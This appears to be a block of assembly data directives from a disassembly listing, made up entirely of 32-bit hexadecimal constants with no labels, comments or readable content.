dd 0D6A2643Eh, 855096A8h, 57618334h, 138D3CF8h, 8609DE10h
dd 9BA50800h, 0B81E50E9h, 0F19F854h, 0D043AF48h, 0A4910720h
dd 7507DE2Fh, 3CD4A86Ah, 0C3010340h, 452B1FBBh, 0C19F0068h
dd 1DDF0924h, 0B566110Ah, 0CA80AC43h, 0B35DE72Eh, 0E1E8A95Ah
dd 58C92C4h, 0AE749359h, 70FC20E2h, 0C830CB32h, 3842C0C0h
dd 904900E5h, 0BDA8E7A4h, 0C30A6A81h, 982A093Dh, 0FE928E38h
dd 24B1AA48h, 11325CE4h, 7251B721h, 0A7399050h, 42DF07E7h
dd 6066944Fh, 0A104FA09h, 0B9159E00h, 0D5E0415Ah, 3C8E822h
dd 71254314h, 900AC2E7h, 0FC0A6650h, 0FF469200h, 0F193BCh
dd 0E4DBE82Dh, 0A283CA09h, 0C20503ECh, 19FAED81h, 61CBBC02h
dd 58B08868h, 88DF88CEh, 398612D0h, 28874Eh, 204B35D2h
dd 0C79D3C7Ah, 10804649h, 0AD0292C8h, 4FDD1D1Bh, 216BBCA0h
dd 7D50E8F3h, 0C600AAE0h, 8880B692h, 1FBA76CBh, 464A1C32h
dd 186BC2C1h, 0B0253407h, 0ABB0B749h, 0CEF8FEh, 3AF44361h
dd 0AF7A9B08h, 2892BF7Ah, 0C56C1F07h, 9E724B6Fh, 0F6744408h
dd 88B0AA41h, 0EAF3F490h, 7D7523D3h, 0C07D8EA2h, 48AF5BBFh
dd 0A980EC1Fh, 97A17592h, 1CF6D812h, 0FCA82C5Fh, 0B9081624h
dd 0F989F200h, 568CD452h, 0F010347Ch, 0D6BC1D7h, 0E2D88C6Ah
dd 7470C9B7h, 9381CC20h, 98F67610h, 9C065128h, 3B448D00h
dd 0FBB32C1Eh, 0C3D20097h, 0BFE76E84h, 7509FFFAh, 20A401D6h
dd 0A0EA4A6Ch, 8FF600B6h, 70AF891Dh, 9300F3A8h, 0E7831FC5h
dd 0A15B549Eh, 0E5E5C388h, 2BD18881h, 455206DBh, 10D40A5Ch
dd 4E8CA4ECh, 0CA1125A0h, 9315687Ch, 1390394Eh, 4000576Bh
dd 0CF122ADBh, 0E1A8FAFDh, 81A6C0h, 0E7D94F8Bh, 8486C9B6h
dd 4A02B9DEh, 0A07CE84Ch, 0DAF79E80h, 9246E4C3h, 8A880120h
dd 511C1F7Fh, 0CD809E7Bh, 0C8938CB9h, 33F4A907h, 3048E9E7h
dd 3184B900h, 94FFFB8Ah, 143350C8h, 0E098003Bh, 0D495E621h
dd 2218DAACh, 126875D5h, 9F80C74Ch, 1986C6A7h, 0F00E9DFh
dd 3AE73687h, 0FC7802h, 512EEA72h, 6A14DF88h, 0C9C3CD00h
dd 0B5421976h, 9CDD4928h, 7E32040h, 0F7BD0C87h, 0A56A6332h
dd 856C4388h, 0B14C2630h, 2157AF5h, 0A4D59AA2h, 604BEACCh
dd 0DC8081B2h, 112D9E9Bh, 68757B0Eh, 56802074h, 0E0CE5BF4h
dd 637A33C3h, 589BE030h, 0FF39CDD8h, 1FF63B13h, 93E51002h
dd 45E89086h, 702E00E0h, 0A2F3CC48h, 0E658A985h, 44DF807Ch
dd 2A0D641Dh, 0F8FC75B2h, 1789ABCh, 72FCCB93h, 0D34CC469h
dd 0ADB094EBh, 0A0488712h, 0B22C0020h, 7A102D5Ah, 2688EA57h
dd 2048A86h, 0E5E135D0h, 41B0F088h, 47412D93h, 6403D2E4h
dd 3C1FB883h, 7F4902C0h, 8558F302h, 62DDF15Bh, 9350908Ch
dd 3BC00243h, 7B3449A5h, 0A61FE700h, 0DFFC2894h, 0B91203B0h
dd 43CFA79Eh, 9B87B290h, 80C0F092h, 7A3786FFh, 0D3CA0003h
dd 25DF3188h, 4E0216EDh, 7B3850F4h, 9FD080B8h, 9228EB7h
dd 6F3BB49h, 85F23D80h, 0F5593D52h, 5BCE029Ch, 0AA280EC8h
dd 6487E894h, 0DE2C093h, 986AE1h, 7C4306B8h, 0EC30CC76h
dd 9F002D41h, 84F1AB8Dh, 0E20ACCh, 0AEAA01B2h, 22F00929h
dd 0BAC7933Fh, 90661E37h, 0FDA1F80h, 8D2DBBh, 0B6B87588h
dd 0E9A91312h, 5084A307h, 8740E84Fh, 636A4Eh, 0A8E30BB2h
dd 0E7385298h, 806E713Bh, 6415AA0Fh, 2674751Eh, 50E07E46h
dd 64820E48h, 18862480h, 29AD8FFCh, 0D84D0664h, 9CB98528h
dd 4E72042h, 0B2348287h, 3804C0A9h, 480B20B6h, 248C90E9h
dd 466855DCh, 0FA482188h, 2B3F04A0h, 4C00574h, 20C895F6h
dd 0B44C09C3h, 61B3CD20h, 0F3881E8Ch, 8F1AF28h, 3DFA3E3h
dd 13F44C50h, 0B105C81Ch, 9BC93642h, 89DE64C0h, 36287C8Ah
dd 78A98F1Ch, 772C30FFh, 0A44C3D54h, 4CF7709Dh, 7084543Bh
dd 0C6EC816Eh, 9238F112h, 0FC5EE719h, 2FC7B1B0h, 5721F11Bh
dd 24202B61h, 0E015005Dh, 976050F5h, 0A429DE92h, 26885Ch
dd 567CE660h, 0E0B90988h, 0AC92BE03h, 33017446h, 680A2015h
dd 2866BC5Ah, 0E2923E0Eh, 6E340052h, 0B6EB4FB2h, 0EC40CCAAh
dd 14B88C75h, 68437E26h, 85DFB960h, 0C29415C6h, 4105BC8Eh
dd 0C0B0BAD0h, 3C747848h, 6890C3F2h, 0D364A100h, 0FB131FADh
dd 82499B6h, 0BB045CF8h, 2490C486h, 13B7E9A2h, 70AA06EAh
dd 55024268h, 0CFE65B02h, 0A9D9D581h, 11502FE4h, 0E751CA03h
dd 1040FBC7h, 1C94224Ch, 510EC38Ch, 7B53F219h, 2C88F23Eh
dd 0AECB78Dh, 245C0885h, 7F34010h, 2EF053C2h, 0CDDB7E03h
dd 0DA384F11h, 89C04894h, 84ECAB55h, 1D881880h, 6AF3125Fh
dd 0D9802059h, 0CA0507F6h, 1BFF2B65h, 585A6C41h, 29804964h
dd 41CC79F4h, 4814BA1Ah, 0CCBC5946h, 16B040h, 0F3A606E9h
dd 0B3CF808Ch, 0D414430Ah, 64F018BBh, 803500DCh, 9E9DD62Ah
dd 5A1DF415h, 0B27B88E4h, 0C81EF123h, 0FE14E0h, 0B8BC0C1Bh
dd 0B2FFF5D6h, 80194300h, 67E9EBC3h, 90C977A1h, 0E0E648B7h
dd 0ACE42183h, 0AFA8C0C4h, 40A39F75h, 77FE93D0h, 0A13CD470h
dd 0C4AE2E3Ch, 8ADFA058h, 3F01F8E4h, 8A337FEh, 44C6E84Eh
dd 1E031C50h, 182BE2Fh, 90E1CEC2h, 55920CC8h, 0BB43BB3Eh
dd 0A8E99FE3h, 4116AF02h, 1FBCE0B5h, 8EF612E1h, 931403D6h
dd 890094C2h, 45B16541h, 55861F5Dh, 9FF8ECC1h, 9E8816E2h
dd 0BD6C005Eh, 5495EFDBh, 0DF3C3800h, 0A46F4DB1h, 21891D1Fh
dd 974CE005h, 387B30B4h, 12CA5AAh, 0B9EFD94Eh, 606D3CD6h
dd 5A709F9Ah, 0C9D07E50h, 23087C52h, 8BA300BBh, 731825EBh
dd 3F4F743Eh, 3BAB05A0h, 6C81B775h, 0BBCC8995h, 4E460547h
dd 4769B8F3h, 0D484B320h, 426880D9h, 0B8126DDEh, 9CC050E9h
dd 1B27559h, 0EA41230Dh, 0FB09A171h, 0A4AFD009h, 0A90848C5h
dd 79491A33h, 0FC4818B7h, 428654A2h, 0E6FCC4E1h, 20986B0Bh
dd 587DA90Bh, 8062C0A2h, 0A741A448h, 0A601A414h, 0EABD0ED8h
dd 0F04252F6h, 50DBE817h, 883E5D20h, 0DC8924h, 0A3122F1Dh
dd 0D928DDD7h, 7839C009h, 0E295925Eh, 7EC6A500h, 0C0B671A4h
dd 6A75B9F0h, 3C60C37Dh, 0F3BC01A8h, 0D2CC7494h, 0A55609D8h
dd 204B4C21h, 40BAE5DAh, 946A6B94h, 73CC13Ah, 0C9910167h
dd 935E0600h, 0E14F148Bh, 6BC8086Dh, 90F21C0h, 0A5D812C2h
dd 3B0C002Fh, 0B3C8D415h, 567ADA1Fh, 44C6B1CAh, 0B169DB70h
dd 164ED4h, 4FC5A3C8h, 0D04801C6h, 8770137h, 0F93B7F85h
dd 39906C61h, 0DCBB80B8h, 0B1F65CCBh, 566E01C4h, 48613585h
dd 7216E8D0h, 0E7128D80h
dd 690AC0CAh, 21D4FCCCh, 0B04B95CCh, 179785B5h, 0F10445A4h
dd 6A402C0h, 4448A701h, 0A207755Ah, 9674303h, 0DF1257E0h
dd 2108A6BEh, 9F8442B0h, 7C9569A0h, 3B41B040h, 0F094713Dh
dd 20845C81h, 42A32612h, 75B13A68h, 0F3451200h, 0A0A0904Dh
dd 257D35FCh, 0DC94612Dh, 16D8FC20h, 43253034h, 7A9250A0h
dd 78D52812h, 0CF136020h, 0A850016h, 0A369AA07h, 0F00A5F1h
dd 92B33F3Bh, 1343FF49h, 0E0A8E1h, 1B1E1850h, 0A10F353Ch
dd 8DABB6D6h, 0A5D469F7h, 13F3F2A4h, 966D714Fh, 0B0AC2860h
dd 5EDCC20h, 26D03DAEh, 3D4D806h, 122495FAh, 0C58444E9h
dd 0E0C3D0B3h, 6A0AE369h, 310AA18h, 85681EACh, 0FC9D65D0h
dd 5D675B01h, 200A2B99h, 9AD46FF8h, 85BD0E1Ch, 67010DADh
dd 0FCD76C1Fh, 6CB2516Bh, 86AFF824h, 96283D0Eh, 809B4849h
dd 0EDFF12CBh, 411F00F8h, 0EA7B5059h, 0FA01CEC3h, 5EA88880h
dd 0C04A7162h, 902BBC14h, 8693E702h, 4CE0BE04h, 0DF005AC5h
dd 0E9AF72ABh, 64F9EA70h, 91CB382Eh, 509509A0h, 7B596C18h
dd 8C1130A5h, 49564204h, 0D3C09038h, 8300F667h, 5A0F7C6Bh
dd 0E05EDF8Ch, 24270415h, 0F0917E71h, 970F0C50h, 29D2CEF1h
dd 8588E05Fh, 78BC6764h, 78A1C239h, 18800C87h, 897BC60Ch
dd 945E0CC1h, 1A11A4C8h, 0D6C100B6h, 3CEE452Eh, 3A526100h
dd 50EA0665h, 6D50B529h, 0A401095Ah, 823FD6AFh, 18D878A0h
dd 113EED92h, 2E0C3543h, 81AE8631h, 0A966121Dh, 689400E3h
dd 0A3D1EA52h, 0AF93FCA0h, 24DAD89Fh, 9D80E81Ch, 6F91056Ah
dd 5E7CC047h, 6CE975ECh, 0F6438168h, 8A6073ADh, 1434B85Ah
dd 8875525Ch, 9CC8F100h, 0E2C9AFB4h, 0D56420F9h, 0F7B3EE01h
dd 5A33041Ch, 94342988h, 0AB800C01h, 54E0EF7Fh, 40F40031h
dd 8FF3B770h, 85018845h, 0A6EBBA9Eh, 0DE873E2h, 1277507h
dd 0B5370B40h, 0F0BF2ACBh, 420002E8h, 0A6C7E17Eh, 14C4525h
dd 0ED0B46B4h, 0C08A17AFh, 2004B9Ah, 4DB5872Bh, 0E645A7h
dd 15180D54h, 2E0356DBh, 0FF019D70h, 2FC5FBC4h, 97C8A29Ah
dd 1312008Dh, 0E8C14EACh, 4100A3A8h, 3A878525h, 7BF4Bh
dd 58510B39h, 8DE5DC50h, 9169E31Ch, 71D5CFC3h, 7C90C554h
dd 501D0572h, 1850AE09h, 60EB3B08h, 76073C20h, 0BC405E7Ch
dd 0F4DFCBF0h, 13770761h, 809C2723h, 45ED1BE0h, 75F38E00h
dd 0D2BAE1BDh, 0B3CC0309h, 5C9C29A2h, 0EF03EBE8h, 0FFC67000h
dd 65E1070Fh, 128B0E6h, 4416C1C3h, 0C871D94Ah, 4E099643h
dd 3BBBF1h, 0E2A5B714h, 0DD5200B6h, 0C3307145h, 0AC7022CBh
dd 0B797C01Eh, 0B46C17C0h, 0FE4E994Bh, 5FAA0EC4h, 2F40D43Ah
dd 4666BBEBh, 0F66FC80Eh, 2BF800A1h, 1C74156Ah, 0C7BFE7h
dd 0ACFC2777h, 4A0033E0h, 0ADD4C939h, 36F6B3Ch, 0D3EBD01Bh
dd 0D09FEC1Dh, 291A48DAh, 2B7F58h, 0FA4347Ch, 0F5FA0BDh
dd 0A5BAB090h, 25B36F80h, 0DF28C664h, 387DABC1h, 801FEA02h
dd 82D4398Bh, 8034E7BCh, 0C2443EA5h, 0B97A55h, 6BE63A6Ch
dd 0B4618C35h, 0CAF32E00h, 0BB947FD6h, 68A800C3h, 4D651924h
dd 0AE00A2EFh, 76901BDBh, 480FD031h, 80073402h, 90FBBD2Bh
dd 63C41394h, 960F84E2h, 2046E738h, 0A98DDF55h, 0C5A61882h
dd 0BCA4E226h, 188C840Eh, 0CF5C0020h, 7125A9h, 3AE17A33h
dd 86D34561h, 0CD4AB23Bh, 4D960F2Ch, 358BE06Ch, 8EA45Ah
dd 8AB96E32h, 0F719CA89h, 0CC5B2B01h, 0FB1F9961h, 0EF005ABFh
dd 0CE6E6893h, 0EB1D7BFCh, 0D4474E35h, 0A02F5354h, 32B6A8FEh
dd 78140040h, 132B8498h, 8D003963h, 0B2E05F87h, 54D6CFh
dd 414A2637h, 0E53BC87Eh, 6C7BE81Eh, 744D680Bh, 0AE6700E6h
dd 60F4B656h, 95085F02h, 40BAD07Ah, 0E7A525h, 0D70776EFh
dd 0CAA8279h, 0C6F6389Ah, 561F0C92h, 6E00B505h, 9B36762Fh
dd 68230488h, 8038391Bh, 46AF4CB0h, 67701500h, 0A0D5AEA4h
dd 0E6CD3C22h, 8DE9C980h, 52135BF2h, 0F492F000h, 588424FBh
dd 0E1890F01h, 0B9604272h, 60AE3350h, 0BA379002h, 0C8825C6Fh
dd 7E128020h, 250A04F6h, 0C09095A9h, 96578EEh, 2BF21B00h
dd 507B6066h, 0CFCCED49h, 8E9B3C42h, 4FF99D80h, 323FFDD6h
dd 9CAEC900h, 34C712A9h, 0AA500017h, 8CC8CB35h, 9400648Fh
dd 0FCF13E01h, 0E37F444h, 23726E8Bh, 30064340h, 0D448B43Dh
dd 39E3FE9h, 14DB571Ah, 579B858h, 3DF00EE9h, 93A2D0B7h
dd 0DC709BEDh, 43C85700h, 0AD7C2DBAh, 63D000A7h, 0B3CBC227h
dd 28002BA0h, 0D40AFBE4h, 78E37AEBh, 0F2EE64h, 0CE1A7431h
dd 0E6C7DB0Bh, 588F6901h, 40576BDDh, 13D4E020h, 2128014Bh
dd 7F532FC0h, 14CEDF0h, 0C7FEBF5Ch, 7B5424F3h, 0E2D190A0h
dd 7B980A42h, 8EC514h, 6F5E53B0h, 5A009CAAh, 3FB3AC69h
dd 160171h, 27D0F72Fh, 0FFB661D7h, 8D3630C0h, 37B8C4h
dd 0EF8925F0h, 0D5A93972h, 8C0A101h, 7EF7CFC2h, 50EDA2FCh
dd 4ABC50h, 8D8A6B13h, 78C9803Eh, 0CD9FCC2Eh, 3518D703h
dd 7780840Ah, 72B3F2F4h, 0B5D600FBh, 57176E6Bh, 0B180428h
dd 18BADDE0h, 118F0006h, 0DC61CD4Ch, 6C09BBC9h, 0E83F1289h
dd 1CE4DFCh, 8C26685Ch, 0DC2B16A9h, 3602DC4Ah, 0E6E26AB1h
dd 2D746818h, 46520798h, 10A7F135h, 787D2B8h, 0D1562400h
dd 393BCFA8h, 9F7CAAh, 3379F7B5h, 0D45C2CB6h, 0D8985203h
dd 984585F4h, 8126A2h, 0DA6F6CA8h, 849AA575h, 900089ECh
dd 53579C8h, 0F2C6882Ch, 370100F3h, 5E5D119Ch, 6000E13Fh
dd 78B415EEh, 7CB5310Eh, 0E0D60034h, 0CD3D02E5h, 9C00A4DEh
dd 5A8F6790h, 668439h, 0E67F7CF9h, 43EF763Eh, 8E00D3F2h
dd 0C85FDCB7h, 0BA1F59Dh, 501B2E49h, 0DA1638A0h, 4A76FE45h
dd 4F6E6A00h, 78E61A10h, 9B30003h, 0D3307FECh, 680557E3h
dd 0E0C3F139h, 3689ED18h, 0B9A513FAh, 0F8F400AFh, 437AD4FEh
dd 34917400h, 3205D0E7h, 715B6028h, 0C6099DD9h, 85FA8717h
dd 18F0B01Ch, 0F0BC12CFh, 11B96378h, 0F3C0A902h, 0A80056Bh
dd 663900BCh, 0D0D6A2CAh, 773057B9h, 1FD42843h, 60C97059h
dd 5E7468BDh, 0FD00EAFAh, 6681FB3Dh, 0A5AAB7h, 99ADB6Ch
dd 5AFAE01Eh, 4A38CC60h, 90B15Eh, 6451ACA4h, 48308C68h
dd 14961300h, 8D9E56D5h, 66AF0E26h, 0F180A491h, 0ECC8FE53h
dd 25CC5D24h, 5FB42900h, 79E81Fh, 6CBC0878h, 51F5C026h
dd 0B2EDF600h, 0FC353DC5h, 0CB5E00B5h, 9124102Eh, 42006795h
dd 0AEE7CBFh, 0CEDFE9h, 0A0D3D93Ah, 0A2FF5F79h, 7103AF7Fh
dd 0DC17270Dh, 0B60AC070h, 5DDA0064h, 0A3C90E11h, 3B003C12h
dd 3A17EFE2h, 2584EE06h, 4004CE0h, 0FC63B40Ah, 49B52B00h
dd 0FA442A7Fh, 676F0EF6h, 0F5C05917h, 7A71857Dh, 0BA150C9Eh
dd 0EF9400D8h, 0B87F5414h, 63260032h, 0C10D1C59h, 4F2DA4B6h
dd 93D820DEh, 41668F3h, 1E5961A1h, 337E806Eh, 0BF594A60h
dd 55E10F20h, 30A90490h, 0B8160C80h, 8AA6017Fh, 5402697Ah
dd 0F404C8A0h, 7F6B313h, 7EFFE8C0h, 5DAB097Bh, 3080561Fh
dd 9DB8AAF7h, 4D834D48h, 875B7E08h, 0E2724843h, 83190012h
dd 0FC928B7Bh, 4A00106Eh, 90C8942Ch, 0C0D4141Fh, 9F598031h
dd 0FA00459Ch, 4C32AA97h, 25A0CFh, 84EB1F50h, 94709BF5h
dd 63045AE4h, 2F8FFD3Bh, 0A47A2480h, 25B91E1Fh, 0AF89002Dh
dd 4D95663h, 2B283Bh, 0A806484Eh, 0EFFEBDAh, 0E7A0E339h
dd 18422680h, 1407978Eh
dd 30AF8486h, 0B77AC230h, 0E3050050h, 260485A2h, 0AD6F1209h
dd 5384B029h, 88A644BCh, 480F1E44h, 0A8A542CCh, 22F02A22h
dd 1824807Bh, 0C5831D4Bh, 35C2568Eh, 73A290E0h, 383483Fh
dd 7A173A3Dh, 0FA34987Dh, 44ED009Bh, 0D2217542h, 66002883h
dd 0E8741A5Ch, 0AA71Ch, 46038E0h, 753B2ECFh, 0A0B11000h
dd 0EF445A3Fh, 0FCBB6F3Ch, 52C48320h, 880064A6h, 0E16EA305h
dd 0F8A1DC27h, 40F83A9Fh, 409A599Eh, 0D8B76C81h, 8900AD4Eh
dd 987F1F05h, 28A440Dh, 997B733Ah, 0B4808778h, 766DF96Ch
dd 4DAB20C0h, 81EF2Eh, 3A75DC32h, 3960E951h, 0EEF0EC07h
dd 0CDC0DDBAh, 0A74C6E1h, 0FF723B62h, 52600D4h, 0E9C56960h
dd 5510C754h, 8DF93E18h, 39FB8890h, 0CD80A1BDh, 817F9A14h
dd 3F02C95Ah, 78EE98AAh, 5BFCA0E9h, 78958456h, 93E41E4Ch
dd 91CD438Bh, 0CB8A7EEh, 0E2001322h, 2FFF866Ch, 0E8BB212Ch
dd 63AB003Ah, 9C9EDB17h, 5474B805h, 8B00317Ah, 58A82CDFh
dd 57A549h, 8FC22414h, 0DE92BE46h, 96045200h, 0E9C4C1BAh
dd 0E8870398h, 0A80C2470h, 80CA03B1h, 0D3BAE080h, 0F881DF8h
dd 618B6D15h, 0A19F94E0h, 1AB862FEh, 68D0560Fh, 0AD67C308h
dd 0AB24AB8Ah, 0CDF0003Eh, 0FF19A616h, 7CF07A9Fh, 16C0815Fh
dd 7E2FE58h, 5514D66Ah, 7D0C60FBh, 0CC00DC4Bh, 23309777h
dd 1EC42658h, 0FD3D03h, 19D15E51h, 3818DCB2h, 6460F18h
dd 6A3D1D6Dh, 0C1BEC1E5h, 0DE60AC59h, 0A9BDD081h, 0E93C2057h
dd 0B09E8100h, 5AC9DA2Ah, 12610031h, 41E5A937h, 0B41C1CD0h
dd 1D1DCC2Fh, 4C083DCh, 1D6BD08h, 78FE00C4h, 0CF0590D4h
dd 9700B84Ah, 0EA19925h, 0E04B68BDh, 8AF22Bh, 92665A84h
dd 0D482DA08h, 0C7C566C4h, 60736180h, 0B01600ACh, 67CE958h
dd 26246342h, 0AF00142Eh, 52832AA1h, 0A936010Eh, 82FF70BFh
dd 0D875D1BDh, 0A400E4DFh, 4957EC90h, 12F2080h, 1268EA26h
dd 81CFBAC0h, 6A9F4D1Ah, 9820CD72h, 42DA0018h, 83F58D76h
dd 0F61E3533h, 0C8C09BF7h, 48DE10E4h, 88D70107h, 9EE33B91h
dd 0FBD44087h, 47007CA9h, 0E5F96ED5h, 0E2F5ECDDh, 859A1D18h
dd 0FBF6C07Eh, 0CD4371CEh, 880F8601h, 0CA347A3Eh, 1CC36AE8h
dd 81BBA4E9h, 5228EE42h, 8E802FE1h, 246D450Dh, 0A01F68h
dd 7E066BB2h, 1EA1873h, 20C12200h, 0B980F855h, 41C70F1Dh
dd 3EC0A0ACh, 3888F7CDh, 7C7C58h, 0F211CA8Ch, 5F76A1h
dd 0EDBCE033h, 7D37098Eh, 8BAD0807h, 4D90560Bh, 279EB9h
dd 0C35C5881h, 0F1945F2Dh, 70344524h, 0F480971Eh, 1340C176h
dd 0A52B2A3Fh, 55F318E8h, 0E20919C8h, 745B2900h, 42B4835Ch
dd 0F87350ABh, 72F40069h, 17FF44F8h, 0D300B93Ch, 2C88197Fh
dd 0BF2B76h, 0AD1C399Dh, 0C69509E2h, 0E5BCEF00h, 0E054673Fh
dd 702F0025h, 0C5DF3374h, 5C00A8FDh, 916316FCh, 3B5313C1h
dd 0E50048B2h, 3D70DF44h, 0FD00CC45h, 0B10C0203h, 0EF04A882h
dd 8850C0F6h, 542900CAh, 0F006F2A3h, 8D00EBBFh, 52E7C195h
dd 18556D4h, 35844074h, 7019DB9Eh, 161F91B3h, 0BA007015h
dd 3E142076h, 23FB0085h, 4506A3F3h, 570637D2h, 318A33F5h
dd 8E7550h, 26A7CE59h, 250B09A6h, 0FE198100h, 0E9173FE8h
dd 48280040h, 695673F7h, 0E2007E5Ch, 47EF51A5h, 7AFE8EC0h
dd 0B97F3Bh, 810B8860h, 410444E2h, 0E6B12800h, 1FA6912h
dd 2E463D64h, 0AFF76300h, 0C45EC0B6h, 0C14CD500h, 0EF6BB9E2h
dd 45840051h, 4706A225h, 600093E6h, 9824E091h, 720F1F62h
dd 0B1FF00FCh, 0B0BF6AACh, 0E700F281h, 94800A55h, 3DD5B8FDh
dd 7C80F638h, 7E029BBEh, 1D00EF54h, 2B3DA261h, 1B1FCh
dd 0BCD81CB3h, 80757FDCh, 0D4989612h, 0D10B9400h, 28A6Fh
dd 8978D845h, 0FDFB14D5h, 0D77E5DEAh, 4A2239h, 9DB91B98h
dd 0D938A0h, 5D4F3D1Ah, 0CC109179h, 0E7CB6200h, 0F1E42971h
dd 11781DF0h, 0CDAD81D4h, 0E4F39944h, 0E0387ED8h, 0A1C8034h
dd 0A6C2A97Dh, 0B71B0193h, 482D65F6h, 88EDF8D4h, 0F73F7F7Fh
dd 0AF880A0h, 0C49A56ECh, 4AAD07F5h, 0A0D2021Eh, 0B501EEA1h
dd 58349C00h, 91D6EAAEh, 0FC3900A0h, 1A217806h, 97286842h
dd 6E008CE9h, 0EB8D81C4h, 0CD8A85h, 126540F1h, 8BA2E21Dh
dd 0C5C3C00h, 8861DB7Ch, 94D248F2h, 0D120700Bh, 83862180h
dd 94001AFDh, 0CD3F7279h, 9011A380h, 639100B1h, 0BCB9C5D5h
dd 5700B424h, 5661D2D9h, 0FBC658h, 2E44DB53h, 0B8656A9Eh
dd 8E273300h, 0F9EF38BEh, 14EF2EEh, 0B2E3BB02h, 0FD349AB5h
dd 22C0C235h, 0DB003355h, 4676190h, 0E7A45Fh, 39B05AE9h
dd 0BBB7AA8Eh, 3F6FEC01h, 859EEA1Dh, 0A0D28520h, 2048698h
dd 0C74815D0h, 0EDC0F0EBh, 233BA895h, 99718B13h, 2B2B06B2h
dd 0BFE00E6h, 0A04D8C32h, 0EE13B8C5h, 2E073EFCh, 0B3F04C08h
dd 2D1CC7h, 28B62677h, 3256F9C5h, 0A542150Eh, 416A137h
dd 0C2400AE4h, 39173CC7h, 5E80C2C8h, 90CA5B68h, 0C9E6E44Dh
dd 72BFD603h, 0E8FC3207h, 126A3E34h, 235F394Bh, 12D83104h
dd 0CD00F195h, 0DFED3AE7h, 595BC9h, 0DC7E1DC5h, 0E6F8DDC1h
dd 39F4DA00h, 0BDB7A52Fh, 0D5C80556h, 3F7FFEh, 99705EF0h
dd 0EE00518Bh, 4421DBD7h, 7AA89Ch, 0B92BCF17h, 2F6E9B1Ch
dd 2DDE160Fh, 974D206Ah, 245554h, 38EF46AAh, 295B83DCh
dd 5D0FFA00h, 4097E331h, 575AC967h, 0E84AB400h, 6900B423h
dd 5A6E4CAFh, 0F67C442Dh, 0E5B30511h, 1452187Dh, 0DB03BCFEh
dd 0E7267FA1h, 7999C6C0h, 0D770F00h, 6748ABB8h, 3C0530C5h
dd 0DDBEB658h, 8F6D7212h, 95864C40h, 0B3E184h, 533AAA48h
dd 930E922Ah, 4F14609Dh, 0F091E4h, 0D9BCCD27h, 68C0948Eh
dd 2649632Dh, 5F9502C2h, 7030C868h, 6973DBC0h, 0F69ECA28h
dd 0C705BE0Eh, 0E1E980F5h, 1D0E5BA4h, 0DF8B1F16h, 0DC5AC036h
dd 1715C804h, 0B3E5D000h, 72A9CA81h, 9F7909EEh, 38011C7Fh
dd 0E07D2BB1h, 5B004F46h, 0CA8CDBCh, 8D6573h, 0B10FCC96h
dd 6C399499h, 0F75B982Eh, 0CB1CC900h, 0EC767CD8h, 0A53F006Ah
dd 9E088307h, 98CE2C54h, 61AC589h, 425D9E80h, 0D07A2Dh
dd 36826488h, 15748BCAh, 4C721000h, 3C473E35h, 16DA00EBh
dd 0C3A852A2h, 6900EE08h, 64F041AEh, 981F1377h, 38E72C04h
dd 3D003F41h, 7C30CC23h, 31B03F67h, 0B1EF1C00h, 0BCD29F7Ah
dd 0EB18039Dh, 2C47CD45h, 711A8085h, 0AD03A7B8h, 0A52DABF6h
dd 6E83D8E3h, 5D170FF8h, 0D5000440h, 0D7C06597h, 4D15C500h
dd 0D4661B3h, 33D0A00Eh, 808700D5h, 55E941BEh, 0F200B65Dh
dd 86220CFEh, 7695967h, 4D6E9A33h, 7119905Ch, 0BD07A9CEh
dd 0B7B9AA39h, 5EA06071h, 1F7D360h, 9FF20502h, 0D02C990Ah
dd 0AC72DD89h, 0AAA73800h, 0D85E185Dh, 21F0C5h, 80144CCh
dd 941BF2A9h, 192F9E1Dh, 0BD7B6800h, 0E3C238h, 6C823D5Eh
dd 0D5CAEC2Ah, 0B8E49831h, 0EC602947h, 0B63F021Dh, 10504271h
dd 0FE0040D5h, 0FB8A0075h, 0C8652BF5h, 262EB2B9h, 2F014511h
dd 0B0CE3BC9h, 0BFCD9841h, 0E885C8h, 0B7479832h, 92DD175Dh
dd 0B18D100h, 0BA1EF059h, 0DE083C57h, 0B9035500h, 902E6FD2h
dd 0F9001498h, 1C93C5D6h, 1FB141C3h, 401D638Ah, 2F46B48Ch
dd 2C00A55Ah, 0A0953837h, 0AB240Bh, 626A996Ch, 0F8C6787Eh
dd 1190F500h, 63A80CFh, 3C200023h, 2AC5A2C9h, 340709CDh
dd 626B3292h, 784AF90h
dd 0F516000Bh, 5D457AA3h, 2EEF1BAh, 1E134B00h, 8568FAAh
dd 47190016h, 0CF70E232h, 5A036058h, 594CF7EBh, 281A917Ah
dd 0C4B460h, 354D4294h, 0E0D4C08Eh, 79D63Fh, 87CE3845h
dd 1F7F8h, 4095EA5h, 0D2FF3630h, 57A95D00h, 163F0F2Ah
dd 0C4A403D6h, 58102C21h, 1E85BEE8h, 5E901B2Eh, 4000E826h
dd 9FD660C1h, 2DA17333h, 0A6DE9662h, 678F9800h, 27B8D8h
dd 0E1532FB5h, 0F4F2C233h, 22DE022Ch, 29134200h, 1E3047Bh
dd 1BE039FEh, 0C053058Ah, 82184A4Fh, 0CCF0E769h, 812800D6h
dd 0F382498h, 0DEE63AF9h, 4FE78200h, 3B081B0Dh, 346F2F3h
dd 509FFFC6h, 0EA005733h, 54397CE4h, 0D96120h, 0CD1872ECh
dd 63F92D2Ah, 4EF79203h, 0E07333E0h, 3C7671Fh, 0BAD0B58Dh
dd 1BC81CD2h, 460CDDBDh, 91378844h, 73AC0032h, 0FA09CE39h
dd 2400038Ch, 98839C4Ah, 0A168B5A2h, 64C4C9F4h, 53E01885h
dd 8D8438E6h, 447A0600h, 0CE9C4BB8h, 2B9B0078h, 0FD98630Ch
dd 3707DE29h, 34C3BB55h, 0CBF5AEB0h, 1294F021h, 67B070h
dd 0FFC01267h, 0A900FD55h, 1CF4E106h, 374632h, 20B81B3Eh
dd 47F5FA8Ch, 0C2D43Ch, 406D252h, 0E85BEAh, 0F1A49E57h
dd 0ECCF619Dh, 65030BFEh, 7FB606FFh, 8ED488A1h, 0E394003Bh
dd 0D9D6E5F3h, 78264B4Dh, 0DA017090h, 945222D2h, 169B67CCh
dd 1D836CA8h, 0C2424014h, 7C24E835h, 21D2CF00h, 0AB4CA9AAh
dd 8C6004Ah, 0C52A6164h, 7200A198h, 1AD4983h, 5C815BCAh
dd 4D0044EBh, 0D2A25206h, 0EE1EC414h, 5E4B8093h, 83AC0E2Dh
dd 0BBE24359h, 0D81D98F0h, 0F50A0098h, 0DEA22F15h, 0A1014D7Ah
dd 13EF338Fh, 0AEE0F8D3h, 837B00CEh, 4096F7D2h, 0AF90750Dh
dd 0E9A43Ah, 0F54CE52Ch, 7779DDh, 67E387C0h, 0AF46CECh
